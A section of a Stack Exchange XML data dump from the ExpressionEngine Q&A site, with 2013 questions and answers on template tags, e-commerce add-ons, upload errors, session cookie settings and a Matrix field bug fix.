  <row Id="10702" PostTypeId="2" ParentId="10684" CreationDate="2013-05-24T12:14:49.230" Score="1" Body="&lt;p&gt;I just tested this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot;}&#xA;{title}&amp;lt;br /&amp;gt;&#xA;{entry_date format=&quot;%U&quot;}&amp;lt;br /&amp;gt;&#xA;&amp;lt;?php&#xA;$compare_date =&quot;1123581363&quot;;&#xA;echo $compare_date.&quot; - compare date&amp;lt;br /&amp;gt;&quot;;&#xA;$e_date = {entry_date format=&quot;%U&quot;};&#xA;echo $e_date.&quot; - E date&amp;lt;br /&amp;gt;&quot;;   &#xA;if ($compare_date &amp;gt; {entry_date format=&quot;%U&quot;}) {echo &quot;I am Greater than&quot;;} else {echo &quot;I am Less than&quot;;}&#xA;?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template set to php on output.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-05-24T12:14:49.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10703" PostTypeId="2" ParentId="10687" CreationDate="2013-05-24T12:19:26.677" Score="1" Body="&lt;p&gt;Here's a Stash way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash the channel entries. The order doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;entries&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries channel=&quot;success_story&quot;}&#xA;    {stash:id}{entry_id}{/stash:id}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:content}{content}{/stash:content}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output one entry randomly and stash the ID.&lt;br&gt;&#xA;Use &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; to be able to nest an &lt;code&gt;{exp:stash:set}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list &#xA;  name=&quot;entries&quot;&#xA;  orderby=&quot;random&quot;&#xA;  limit=&quot;1&quot;&#xA;  parse_tags=&quot;yes&quot;&#xA;}&#xA;  {content}&#xA;  {exp:stash:set name=&quot;random_entry_id&quot;}{id}{/exp:stash:set}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output everything &lt;em&gt;except&lt;/em&gt; the random entry.&lt;br&gt;&#xA;You can control the order here using the &lt;code&gt;orderby&lt;/code&gt; param.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:stash:get_list&#xA;  name=&quot;entries&quot;&#xA;  orderby=&quot;date&quot;&#xA;  match=&quot;#^(?!{exp:stash:random_entry_id}$).*$#&quot;&#xA;  against=&quot;id&quot;&#xA;  parse=&quot;inward&quot;&#xA;}&#xA;  &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-24T12:19:26.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10704" PostTypeId="2" ParentId="387" CreationDate="2013-05-24T12:26:09.800" Score="1" Body="&lt;p&gt;We use this method for deployment. Super easy and a good safety buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joemaller.com/990/a-web-focused-git-workflow/&quot; rel=&quot;nofollow&quot;&gt;http://joemaller.com/990/a-web-focused-git-workflow/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well worth a look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck with it - It will change your world once you start using it well.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-24T12:26:09.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10705" PostTypeId="2" ParentId="10654" CreationDate="2013-05-24T13:17:00.390" Score="1" Body="&lt;p&gt;I though a lot about this, but the only solution I found will cause another issue that you'll have to fix too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to add a segment as marker to you URL. For example, add 'search-results' to the links of all entries on search results pages. Since, I've never used &lt;a href=&quot;http://devot-ee.com/add-ons/entries-list&quot; rel=&quot;nofollow&quot;&gt;Laisvunas Entries List&lt;/a&gt;, I'm gonna use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_linking.html&quot; rel=&quot;nofollow&quot;&gt;default tags&lt;/a&gt; on my sample code. The idea is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the single entry page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/related-articles&quot; channels=&quot;{if last_segment == 'search-results'}{channel_short_name}{if:else}articles|interviews|travelling_tips{/if}&quot; from-search=&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should put this inside exp:channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer to put the next/previous links outside exp:channel:entries, you don't need to use an embed. Use a snippet, instead, and grab the current channel from a segment or using a segment and a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;{embed:channels}&quot;}&#xA;    &amp;lt;p&amp;gt;Next entry: &amp;lt;a href=&quot;{channel_url}/view/{url_title}{if last_segment == 'search-results'}/search-results{/if}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&#xA;{exp:channel:prev_entry channel=&quot;{embed:channels}&quot;}&#xA;    &amp;lt;p&amp;gt;Previous entry: &amp;lt;a href=&quot;{channel_url}/view/{url_title}{if last_segment == 'search-results'}/search-results{/if}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this will cause a problem. Your site is gonna have duplicated content: &quot;{channel_url}/view/{url_title}&quot; and &quot;{channel_url}/view/{url_title}/search-results&quot; points to the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid SEO issues, you have to specify the &lt;a href=&quot;http://googlewebmastercentral.blogspot.com.br/2009/02/specify-your-canonical.html&quot; rel=&quot;nofollow&quot;&gt;canonical links&lt;/a&gt; for this pages without the '/search-results' segment. There are some useful tips about canonical links &lt;a href=&quot;http://googlewebmastercentral.blogspot.com.br/2013/04/5-common-mistakes-with-relcanonical.html&quot; rel=&quot;nofollow&quot;&gt;in this article, too&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry. This is the only solution I can think about.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-24T13:17:00.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10706" PostTypeId="1" CreationDate="2013-05-24T13:20:11.200" Score="1" ViewCount="155" Body="&lt;p&gt;Does EE 1.7 have a setting where I can have an arthor and editor? I would like to set roles where an author submits a blog post and an editor gets an email confirmation to edit and publish. Is that possible or is there a plugin I can utilize? &lt;/p&gt;&#xA;" OwnerUserId="340" LastEditorUserId="69" LastEditDate="2013-05-24T16:08:24.293" LastActivityDate="2013-07-26T02:57:05.107" Title="ExpressionEngine 1.7 user &amp; group permissions setting" Tags="|members|ee1|admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10707" PostTypeId="1" AcceptedAnswerId="10708" CreationDate="2013-05-24T13:46:26.980" Score="0" ViewCount="254" Body="&lt;p&gt;Is there a &lt;strong&gt;documented&lt;/strong&gt; (core) way to output the status as lowercase?  What if the status is two words - is there a way to output the status with a hyphen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Status name in Control Panel: &lt;strong&gt;In Progress&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{status}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in-progress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there isn't a documented way, could you suggest a solution?&lt;/p&gt;&#xA;" OwnerUserId="504" LastEditorUserId="69" LastEditDate="2013-05-24T16:07:55.700" LastActivityDate="2013-05-24T16:07:55.700" Title="Output Channel Entry {status} to Lowercase Slug" Tags="|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10708" PostTypeId="2" ParentId="10707" CreationDate="2013-05-24T13:55:37.633" Score="0" Body="&lt;p&gt;If you're unable to write your own PHP for it, you can use the add-on &lt;a href=&quot;https://devot-ee.com/add-ons/streeng&quot; rel=&quot;nofollow&quot;&gt;Streeng&lt;/a&gt; to wrap around &lt;code&gt;{status}&lt;/code&gt; in your template with the slug parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:streeng slug=&quot;yes&quot;}{status}{/exp:streeng}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-05-24T14:02:50.350" LastActivityDate="2013-05-24T14:02:50.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10709" PostTypeId="1" AcceptedAnswerId="10722" CreationDate="2013-05-24T14:06:14.740" Score="0" ViewCount="2059" Body="&lt;p&gt;This is very similar to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10500/matrix-file-upload-not-displaying-contents-of-directory-upload-silently-fails&quot;&gt;Matrix File Upload not displaying contents of directory, upload silently fails&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just begun to work on an existing MSM site.&lt;br&gt;&#xA;I set up some new upload directories, added them to my bootstrap array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the faded upload button, etc.&#xA;When I updated my indexes, it returned to normal but the upload still just silently failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated Assets to the latest version because I read in the changelog &quot;Failed uploads now display a proper error message.&quot;&lt;br&gt;&#xA;Upon trying the upload again, I had to laugh... the alert simply said &quot;undefined&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to upload to an &lt;em&gt;existing&lt;/em&gt; upload directory, I can't upload either, but the error says: &quot;Could not upload the file - server returned an unexpected response. Please check the server settings.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my web developer toolbar, the network tab shows a 200 OK POST to &lt;code&gt;?folder=35&amp;amp;ACT=36&amp;amp;qqfile=test.jpg&lt;/code&gt;.&#xA;ACT36 in my DB is Assets_mcp/upload_file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the folders have 777 permissions.&lt;br&gt;&#xA;I believe all the file paths are correct because I can &lt;em&gt;see&lt;/em&gt; files in Assets, I just can't upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-04T18:55:24.867" Title="Assets Uploading Fails" Tags="|assets|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10710" PostTypeId="2" ParentId="10706" CreationDate="2013-05-24T14:09:11.827" Score="2" Body="&lt;p&gt;Using the native member group settings, you can definitely create these two groups and set their permissions accordingly. I strongly recommend downloading the EE 1.7 docs in the top right corner of the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/&quot; rel=&quot;nofollow&quot;&gt;EE online User Guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Control Panel Location:  Admin &gt; Members and Groups &gt; Member Groups&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you create the member groups, edit their permission related to the current weblogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a section called &quot;Control Panel Administrative Privileges&quot; with a subsection of &quot;Can administrate weblogs and weblog preferences&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should get you going.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-07-26T02:57:05.107" LastActivityDate="2013-07-26T02:57:05.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10712" PostTypeId="1" CreationDate="2013-05-24T15:50:05.740" Score="1" ViewCount="98" Body="&lt;p&gt;I recently upgraded to 2.6.1 and i have had a few buggy issues in file manager since. Firstly i get a white screen of death on file sync and also when i click on a image link in the file manager table the light box is gone and it opens the image in the browser.&#xA;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-05-13T09:58:59.710" Title="File manager issues since upgrade to 2.6.1" Tags="|file-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10713" PostTypeId="1" AcceptedAnswerId="10714" CreationDate="2013-05-24T16:43:12.837" Score="0" ViewCount="95" Body="&lt;p&gt;I'm having trouble logging into a site I'm building. I get no username/password errors when I try to login, but the cp login screen persists. exp_cp_log shows that I'm logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last thing I did before I logged out was enable structure(3.3.8), although I'm not sure if that's the culprit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;clear cache&lt;/li&gt;&#xA;&lt;li&gt;restart&lt;/li&gt;&#xA;&lt;li&gt;different browsers&lt;/li&gt;&#xA;&lt;li&gt;cleared the exp_sessions table&lt;/li&gt;&#xA;&lt;li&gt;turned on dubug&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;No luck trying these solutions out either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/398/login-page-returns-to-the-login-page-doesnt-log-me-in/403#403&quot;&gt;Login page returns to the login page, doesn&amp;#39;t log me in?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerDisplayName="user94" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-05-24T16:55:49.503" Title="No longer able to login to the control panel" Tags="|structure|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10714" PostTypeId="2" ParentId="10713" CreationDate="2013-05-24T16:55:49.503" Score="0" Body="&lt;p&gt;I know &lt;a href=&quot;http://buildwithstructure.com&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; has updated (version 3.3.10) since EE 2.6 was released. Try updating Structure and see what you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, could it be that you've been bitten by this bug? Give the fix a try. &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19334&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19334&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-24T16:55:49.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10715" PostTypeId="1" CreationDate="2013-05-24T17:05:03.830" Score="2" ViewCount="232" Body="&lt;p&gt;Looking to have the &quot;add to wishlist&quot; functionality in expresso-store.  This is basically just a saved shopping cart for the user.  The distinction is that it's not the cart that gets purchased in the checkout process.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="737" LastActivityDate="2013-05-24T18:49:44.313" Title="In expresso-store is there a way to create a &quot;Wishlist&quot; or a saved cart that could be different from the checkout cart?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10716" PostTypeId="1" AcceptedAnswerId="10736" CreationDate="2013-05-24T17:13:21.873" Score="1" ViewCount="78" Body="&lt;p&gt;A client is looking for a lightweight e-commerce system to sell a couple digital products, as well as workshop registrations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exp:resso seems like a good fit, but I'm not sure how to capture each registrant's details. Would I use the 9 custom fields available to the checkout tag? Would I roll my own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flow essentially would be: select a workshop (product), select a quantify (number of registrants), enter their names and titles, checkout, send a receipt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of moreEvents but I'd like to keep this as simple and native to EE as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2013-05-26T11:40:19.793" Title="Using Exp:resso Store for workshop registrations" Tags="|expresso-store|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10717" PostTypeId="2" ParentId="10147" CreationDate="2013-05-24T18:21:44.390" Score="0" Body="&lt;p&gt;I really wish I could get this to work inside a conditional... I can get it to render a list of child ids when used on it's own but within a conditional it doesn't work. Ideas?&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-05-24T18:21:44.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10718" PostTypeId="2" ParentId="377" CreationDate="2013-05-24T18:23:45.473" Score="1" Body="&lt;p&gt;Always, always set a cookie_domain in your config. That fixes the problem every time I've ever had it. However, do not leave it empty! Set it to the actual appropriate value, as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;.domain.com&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Where domain.com is actually your domain, obviously!) &lt;em&gt;Note the initial dot; that's important.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also usually set both admin and user session types to use both session &amp;amp; cookies, as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['admin_session_type'] = &quot;cs&quot;;&#xA;$config['user_session_type'] = &quot;cs&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="139" LastEditorUserId="139" LastEditDate="2013-05-24T18:32:37.063" LastActivityDate="2013-05-24T18:32:37.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10719" PostTypeId="2" ParentId="10715" CreationDate="2013-05-24T18:49:44.313" Score="1" Body="&lt;p&gt;There is nothing built in but you could use something like Shortlist or Solspace Favorites to allow users to create list of items for future. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-05-24T18:49:44.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10720" PostTypeId="1" AcceptedAnswerId="10723" CreationDate="2013-05-24T19:40:42.040" Score="1" ViewCount="141" Body="&lt;p&gt;I am using the product_form tag to add multiple items to the cart at one time. I am passing a category per product to a custom_modifier_name but the value is not being carried over into the cart/checkout.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product disable_form=&quot;yes&quot; entry_id=&quot;{embed:entry_id}&quot; input:finish=&quot;Finish&quot;}&#xA;{exp:channel:entries parse=&quot;inward&quot; entry_id=&quot;{embed:entry_id}&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;div class=&quot;product-add-ons mix{categories} {category_url_title}{/categories}&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2&amp;gt;{price}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[{entry_id}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;items[{entry_id}][item_qty]&quot; id=&quot;textfield&quot; /&amp;gt; Qty&#xA;{modifiers}&#xA;{if modifier_instructions}&amp;lt;p class=&quot;instr&quot;&amp;gt;{modifier_instructions}&amp;lt;/p&amp;gt;{/if}&#xA;{if modifier_type == 'var' OR modifier_type == 'var_single_sku'}&#xA;&amp;lt;!-- select --&amp;gt;&#xA;&amp;lt;select id=&quot;{modifier_input_name}&quot; name=&quot;items[{entry_id}][{modifier_input_name}]&quot; style=&quot;visibility:hidden&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;{option_id}&quot;&amp;gt;&#xA;{option_name} {if price_mod_val} ({price_mod}) {/if}&#xA;&amp;lt;/option&amp;gt;&#xA;{/modifier_options}&#xA;&amp;lt;/select&amp;gt;&#xA;{if:else}&#xA;{modifier_options}&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;items[{entry_id}][{modifier_input_name}]&quot; /&amp;gt;&#xA;{/modifier_options}&#xA;{/if}&#xA;{/modifiers}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[{entry_id}][finish]&quot; value=&quot;{categories}{category_name}{/categories}&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything else works great except for my custom modifier. I have tried using it in and outside of the {modifiers} tags with no luck either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated! Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Danielle&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-05-24T23:35:09.740" Title="input:custom_modifier_name with exp:store:product_form" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10722" PostTypeId="2" ParentId="10709" CreationDate="2013-05-24T21:40:41.253" Score="1" Body="&lt;p&gt;Needed to make sure my /system/expressionengine/cache/ directories were writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the AJAX response in the web developer toolbar showed me a PHP error saying it couldn't write to the file.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-24T21:40:41.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10723" PostTypeId="2" ParentId="10720" CreationDate="2013-05-24T23:35:09.740" Score="1" Body="&lt;p&gt;When you are using the product_form tag you need to move &lt;code&gt;input:finish=&quot;Finish&quot;&lt;/code&gt; to the &lt;code&gt;{exp:store:product_form input:finish=&quot;Finish&quot;}&lt;/code&gt; tag instead of on the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-05-24T23:35:09.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10724" PostTypeId="1" CreationDate="2013-05-25T02:58:14.900" Score="3" ViewCount="299" Body="&lt;p&gt;Running ExpressionEngine 2.6.1 and Matrix 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I import/update multiple entries at once using the channel entries API, all the matrix rows inside exp_matrix_data have the same entry_id applied as the first entry that was inserted/updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After digging through, it's stemming from the _save method inside ft.matrix.php, the conditional in line 2376&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($this-&amp;gt;entry_id))&#xA;{&#xA;    $this-&amp;gt;entry_id = $this-&amp;gt;settings['entry_id'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On subsequent requests, $this-&gt;entry_id is not empty, so $this-&gt;entry_id contains the previous entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've resolved for now by updating the above code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($this-&amp;gt;settings['entry_id']))&#xA;{&#xA;    $this-&amp;gt;entry_id = $this-&amp;gt;settings['entry_id'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That seems to have fixed the issue.&lt;/p&gt;&#xA;" OwnerUserId="549" LastEditorUserId="549" LastEditDate="2013-05-25T03:57:49.250" LastActivityDate="2013-08-21T06:13:42.713" Title="Matrix bug with Channel Entries API" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10725" PostTypeId="1" CreationDate="2013-05-25T06:59:41.987" Score="0" ViewCount="166" Body="&lt;p&gt;I have field group with Wygwam and Content Elements. &#xA;When I select Wysiwyg field in Content Elements, the Wygwam stops working, that is, buttons are not shown.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE: 2.6.1 &lt;/li&gt;&#xA;&lt;li&gt;Wygwam: 2.7.1 &lt;/li&gt;&#xA;&lt;li&gt;Content Elements: 1.3.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;here is screenshot &lt;a href=&quot;http://screencast.com/t/GML5I1TNhXG&quot; rel=&quot;nofollow&quot;&gt;http://screencast.com/t/GML5I1TNhXG&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1550" LastEditorUserId="69" LastEditDate="2013-05-27T18:56:02.967" LastActivityDate="2013-05-27T18:56:02.967" Title="Wygwam Content Elements conflict" Tags="|custom-fields|wygwam|content-elements|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10726" PostTypeId="1" CreationDate="2013-05-25T10:24:32.780" Score="1" ViewCount="94" Body="&lt;p&gt;Currently working on a custom fieldtype, but facing a little nasty problem;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to parse any custom field with params the following way (with enters):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gmaps_field_extension &#xA;param1=&quot;&quot;&#xA;param2=&quot;&quot;&#xA;param3=&quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i try this, the output is a plain string: &lt;code&gt;{gmaps_field_extension param1=&quot;&quot;param2=&quot;&quot;param3=&quot;&quot;}&lt;/code&gt; instead of the generated data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i using it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gmaps_field_extension param1=&quot;&quot;param2=&quot;&quot;param3=&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling that EE is not understanding the enters in the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some trick to let this work with enters?&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2013-05-26T14:20:53.967" LastActivityDate="2013-05-26T14:20:53.967" Title="Custom field and params with enters" Tags="|add-on-development|custom-fields|fieldtype|development|" AnswerCount="0" CommentCount="4" ClosedDate="2013-11-05T17:04:30.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="10727" PostTypeId="1" CreationDate="2013-05-25T13:03:55.053" Score="1" ViewCount="99" Body="&lt;p&gt;Hoping someone can help me with this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using the &lt;strong&gt;multi_add_to_cart_form&lt;/strong&gt; to create custom product packages. The site sells classes and the client is offering a class add-on that can be added to the cart when the class is added to the cart. Classes are in one channel, add-ons are in another channel. The add-ons are added to classes via Playa. This works great to create a nice class page with selectable add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my dilemma - &lt;strong&gt;classes are not taxable. The add-on products are.&lt;/strong&gt; How can I allow tax to be applied to the products, but not the classes when they are added to the cart??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:cartthrob:multi_add_to_cart_form &#xA;    tax_exempt=&quot;yes&quot;&#xA;    shipping_exempt=&quot;yes&quot;&#xA;    return=&quot;store/cart&quot;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing is taxed. And if I remove the tax_exempt=&quot;yes&quot;, everything is taxed. Any way to work around this? Maybe a way to pass a tax variable via hidden field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to any suggestions! And I will buy you many beers! :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Danielle&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="150" LastEditDate="2013-08-21T05:07:24.377" LastActivityDate="2013-08-21T05:07:24.377" Title="Cartthrob: Controlling tax on products using multi_add_to_cart_form" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
